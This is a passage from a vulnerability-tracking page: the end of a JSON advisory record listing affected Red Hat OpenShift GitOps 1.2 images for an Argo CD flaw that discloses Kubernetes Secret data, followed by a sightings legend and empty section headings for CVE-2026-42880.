            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "argoproj/argo-cd: Argo CD: Information disclosure of Kubernetes Secret data via Server-Side Apply dry-run mechanism"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-42880 (GCVE-0-2026-42880)

FKIE_CVE-2026-42880

GHSA-3V3M-WC6V-X4X3

Summary

Details

PoC

Impact

RHBA-2026:12433

Tags

Sightings

Nomenclature